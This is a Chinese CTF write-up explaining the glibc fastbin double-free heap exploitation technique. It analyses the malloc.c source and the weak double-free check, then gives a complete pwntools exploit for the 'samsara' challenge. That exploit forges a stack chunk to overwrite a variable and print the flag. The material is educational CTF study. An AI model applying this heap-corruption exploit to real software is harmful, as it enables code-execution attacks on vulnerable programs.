Pwn Ptmalloc2 Fastbin Double Free

Wings 收录于类别 CTF

2022-08-04 2022-08-04 约 2786 字预计阅读 6 分钟次阅读条评论

原理

如未特殊说明, 均假定 libc 2.23, 64 位.

Fastbin

Fastbin 是 Ptmalloc2 的一种堆管理机制. 设计的目的在于分配内存时, 快速利用已有的合适 chunk. 大小小于 0x80 的 chunk free 后会被放在对应的 fastbin 中.

Fastbin 定义在 malloc_state 结构体中:

1
2
3
4
5
6
7


struct malloc_state
{
  ...
  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];
  ...
};

tip

一个 arena 具有一个 malloc_state 结构, 保存着堆栈的信息, 如各种 bins.

main arena 的 malloc_state 在 libc 的数据段. 子线程的 arena 在 heap 段.

Fastbin 是单链表结构, 大小相同的 chunk 放在一个 fastbin 里.

其中, fastbinsY[] 的下标和 chunk 大小是一一对应的关系. 如大小为 0x20 的 chunk 将会放在 fastbinsY[0] 的链表中, 大小为 0x80 的 chunk 将会放在 fastbinsY[6] 处.

具体关系在 malloc.c 中有一个宏:

1
2
3


/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

NFASTBINS 如下:

1
2
3
4


/* The maximum fastbin request size we support */
#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)

#define NFASTBINS  (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)

可以计算得出, MAX_FAST_SIZE 是 0xa0, NFASTBINS 是 10.

但是, 这并不表明 0xb0 的 chunk free 后能放到 fastbinsY[9] 中. 原因在于默认的最大 fastbin 大小是 0x80.

先看看 free 是怎么判断是否应该放入 fastbin 的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  ...
  size = chunksize (p);
  ...
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
  If TRIM_FASTBINS set, don't place chunks
  bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {
    ...
  }
}

注意

TRIM_FASTBINS 是是否合并 fastbin 的标志, 一般来说这个值是 0. 因为如果合并, 那 fastbin 机制的效率将会大打折扣. (相当于没有一样.)

可以看到, 判断是否放入 fastbin 中是判断当前 chunk 的 size 是否不大于 get_max_fast(). 这是一个宏, 定义如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


/* Maximum size of memory handled in fastbins.  */
static INTERNAL_SIZE_T global_max_fast;

/*
   Set value of max_fast.
   Use impossibly small value if 0.
   Precondition: there are no existing fastbin chunks.
   Setting the value clears fastchunk bit but preserves noncontiguous bit.
 */

#define set_max_fast(s) \
  global_max_fast = (((s) == 0)                 \
                     ? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
#define get_max_fast() global_max_fast

而在初始化 malloc_state 的时候, 会调用 set_max_fast():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


/*
    DEFAULT_MXFAST             64 (for 32bit), 128 (for 64bit)
*/
#ifndef DEFAULT_MXFAST
#define DEFAULT_MXFAST     (64 * SIZE_SZ / 4)
#endif

static void
malloc_init_state (mstate av)
{
  ...
  if (av == &main_arena)
    set_max_fast (DEFAULT_MXFAST);
  ...
}

可以看到, 初始化 main arena 时, 会调用 set_max_fast (DEFAULT_MXFAST). 也就是说, get_max_size() 返回的是 128 (0x80), 而不是 0xb0.

所以实际上, 我们只有 7 个 fastbin 是可以用的, 剩下三个如果不作其他设置 (或其他手段), 是无法使用的.

Fastbin 的结构是单链表. 我们可以从 free 和 malloc 两个函数入手, 探究其数据结构.

以下省略一下检查, 我们先只关注数据结构部分.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  ...
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())) {

    // 得到 size 对应的 fastbinsY 下标
    unsigned int idx = fastbin_index(size);
    // 通过下标得到 av (当前 arena) 的 fastbin
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;
    ...
    do {
      ...
      // P->FD = *FB;
      p->fd = old2 = old;
      // *FB = P;
    } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
    ...
  }
  ...
}

这里注意一个 catomic_compare_and_exchange_val_rel 东西, 这是用来保证线程安全的原子操作. 其含义为, 当 *fb==p 时, 执行 *fb = old2, 否则什么都不做. 返回值是操作后的 *fb. 这里如果不考虑线程安全问题, 那么上述关键的代码其实可以写成:

1
2
3


  old = *fb;
  p->fd = old;
  *fb = p;

实际上这就是 单向链表在表头插入 的过程. ~~不会的画个图就知道了, 不知道的去重新学数据结构.~~

再来看 malloc 是怎么分配的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


static void *
_int_malloc (mstate av, size_t bytes)
{
  INTERNAL_SIZE_T nb;               /* normalized request size */
  unsigned int idx;                 /* associated bin index */
  ...
  // 将请求的 mem 转化为 chunk 大小 size, 存在 nb 中.
  checked_request2size (bytes, nb);

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      // 得到 size 对应的 fastbinsY 下标
      idx = fastbin_index (nb);
      // 通过下标得到 av (当前 arena) 的 fastbin
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp = *fb;
      do
        {
          victim = pp;
          // 如果对应的 fastbin 中没有 freed chunk, 则退出寻找 fastbin 的过程
          if (victim == NULL)
            break;
        }
        // 原子操作, *fb = victim->fd
      while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
             != victim);
      if (victim != 0)
        {
          void *p = chunk2mem (victim);
          return p;
        }
    }
}

再抛开原子操作, 其实可以写成这样:

1
2
3


pp = *fb;
victim = pp;
*fb = victim->fd;

也就是 单向链表从表头删除 的过程.

所以可以看到, fastbin 是一个 LIFO 的单链表数据结构.

以及, 将要放入 Fastbin 中的 chunk, INUSE 位 (下一个 chunk 的 size 部分的最低位) 不会被置零. 目的是不让它被合并掉.

Double Free

Double Free 就是将一个地址 free 两次. 在 Fastbin 的 free 中, 有这样的 Double Free 检测:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;
    do
      {
  /* Check that the top of the bin is not the record we are going to add
     (i.e., double free).  */
  if (__builtin_expect (old == p, 0))
    {
      errstr = "double free or corruption (fasttop)";
      goto errout;
    }
    ...
      }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
}

__builtin_expect 是类似异常处理的东西, 判断, 如果 old == p 就报错.

old 就是表头第一个 freed chunk, p 是当前要 free 的 chunk. 如果这两个相等, 就说明 连续 free 了两次相同的 chunk.

但是, 这里只检测了将要插入的是否和表头的一样, 没有检测后面的是不是不一样.

所以, 对同一个块的两次 free 不连续, 还是能够绕过这个 double free 检测的.

下面以这样的代码来说明 Double Free 会产生什么样的结果, 以及如何利用其进行攻击.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


  void *chunk1,*chunk2,*chunk3, *chunk4;
  chunk1=malloc(0x10);
  chunk2=malloc(0x10);

  free(chunk1);
  free(chunk2);
  free(chunk1);

  chunk3 = malloc(0x10);
  chunk2 = malloc(0x10);
  chunk4 = malloc(0x10);

进行了两个 free 后, 0x20 大小的 fastbin 链表如下:

注意 chunk1 的 fd 会被设置为 NULL. 因为一开始 fastbin 指向的就是 NULL.

然后再 free chunk1, 检测的头是 chunk2, 能够通过. 于是, chunk1 被插入了链表中. 如下:

之后, 第一次和第三次 malloc 分配到的地址, 就是一样的了.

我们一步一步来看. 第一个 malloc 后, 链表如下:

这样, 除了 chunk1 的 fd 指向的是 chunk2, 和之前的结构就一样了. 也就是再 malloc, 得到的是 chunk2; 再 malloc 就又得到了 chunk1.

到这里, 应该就能很快想到, 如果我第一次得到的 chunk1 (即 chunk3), 能够修改其内容, 那上图中 chunk1 的 fd 就会指向其他地方. 是不是就构成了 任意地址分配 了呢?

确实! 不过还要考虑到 malloc 是不是有对应的检测, 有的话要如何绕过.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


static void *
_int_malloc (mstate av, size_t bytes)
{
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      ...
      if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
            ...
        }
    }
    ...
}

可以看到, 只有关于 chunk size 的检测, 也就是说, 我们向让它分配的假 freed chunk 上, 相应的 size 正确, 就能够分配.

这也是 fastbin 机制的一个高效的体现: 检测很少, 不浪费时间在检测上.

拓展

从这里我们也可以看出, 高效和安全是两个负相关的东西, 二者难以兼得. 系统设计的时候, 如何平衡他们, 是一个必须考虑的问题.

学习资料

例题

metasequoia 2020 samsara

64 位 ELF.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71


void __fastcall main(int a1, char **a2, char **a3)
{
  int i; // ebx
  int op; // [rsp+Ch] [rbp-44h] BYREF
  int idx; // [rsp+10h] [rbp-40h] BYREF
  __gid_t rgid; // [rsp+14h] [rbp-3Ch]
  __int64 stack; // [rsp+18h] [rbp-38h] BYREF
  __int64 fake_user_mem; // [rsp+20h] [rbp-30h]
  __int64 size; // [rsp+28h] [rbp-28h] BYREF
  __int64 v10[4]; // [rsp+30h] [rbp-20h] BYREF

  v10[1] = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  fake_user_mem = 0LL;
  puts("After defeating the Demon Dragon, you turned yourself into the Demon Dragon...");
  while ( 2 )
  {
    v10[0] = 0LL;
    menu();
    _isoc99_scanf("%d", &op);
    switch ( op )
    {
      case 1:
        if ( num >= 7 )
        {
          puts("You can't capture more people.");
        }
        else
        {
          i = num;
          list[i] = (unsigned __int64 *)malloc(8uLL);
          ++num;
          puts("Captured.");
        }
        continue;
      case 2:
        puts("Index:");
        _isoc99_scanf("%d", &idx);
        free(list[idx]);
        puts("Eaten.");
        continue;
      case 3:
        puts("Index:");
        _isoc99_scanf("%d", &idx);
        puts("Ingredient:");
        _isoc99_scanf("%llu", v10);
        *list[idx] = v10[0];
        puts("Cooked.");
        continue;
      case 4:
        printf("Your lair is at: %p\n", &stack);
        continue;
      case 5:
        puts("Which kingdom?");
        _isoc99_scanf("%llu", &size);
        stack = size;
        puts("Moved.");
        continue;
      case 6:
        if ( fake_user_mem == 0xDEADBEEFLL )
          system("/bin/cat /pwn/flag");
        puts("Now, there's no Demon Dragon anymore...");
        goto LABEL_13;
      default:
LABEL_13:
        exit(1);
    }
  }
}

menu 都不用看.

这题 free 完了没设置 NULL, 可以直接改 fd. 这里用 Double Free 来做一遍.

给了栈地址, 利用 Double Free, malloc 到栈上. stack 可以自己写, 写成 0x20 (或者 0x21) 就行了.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61


from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './samsara'

io = process(procname)
# io = remote()
elf = ELF(procname)
# libc = ELF('./libc.so.6')

def n2b(x):
  return str(x).encode()

def op(x):
  io.sendlineafter(b'> ', n2b(x))

def alloc():
  op(1)

def free(idx):
  op(2)
  io.sendlineafter(b'Index:', n2b(idx))

def edit(idx, num):
  op(3)
  io.sendlineafter(b'Index:', n2b(idx))
  io.sendlineafter(b'Ingredient:', n2b(num))

def leak_stack():
  op(4)
  return int(io.recvline(keepends=False)[-14:], 16)

def setsz(size):
  op(5)
  io.sendlineafter(b'Which kingdom?\n', n2b(size))

def pwn():
  op(6)
  io.interactive()

def main():
  pause()
  stack = leak_stack()
  success(f'stack: {hex(stack)}')
  fake_chunk = stack - 0x8
  setsz(0x21)
  alloc() # 0
  alloc() # 1
  free(0)
  free(1)
  free(0)
  alloc() # 2 == 0
  edit(2, fake_chunk)
  alloc() # 3 == 1
  alloc() # 4 == 0
  alloc() # 5 --> stack
  edit(5, 0xdeadbeef)
  pwn()

if __name__ == '__main__':
  main()

(一般来说, 我会把过程中 chunk 的布局都画一画, 但是由于这玩意是学完以后来补的笔记, 所以嫌麻烦不想画了 qaq, 凑合着看, 看不懂自己调试一下)

目录

Pwn Ptmalloc2 Fastbin Double Free

原理

Fastbin

Double Free

学习资料

例题

metasequoia 2020 samsara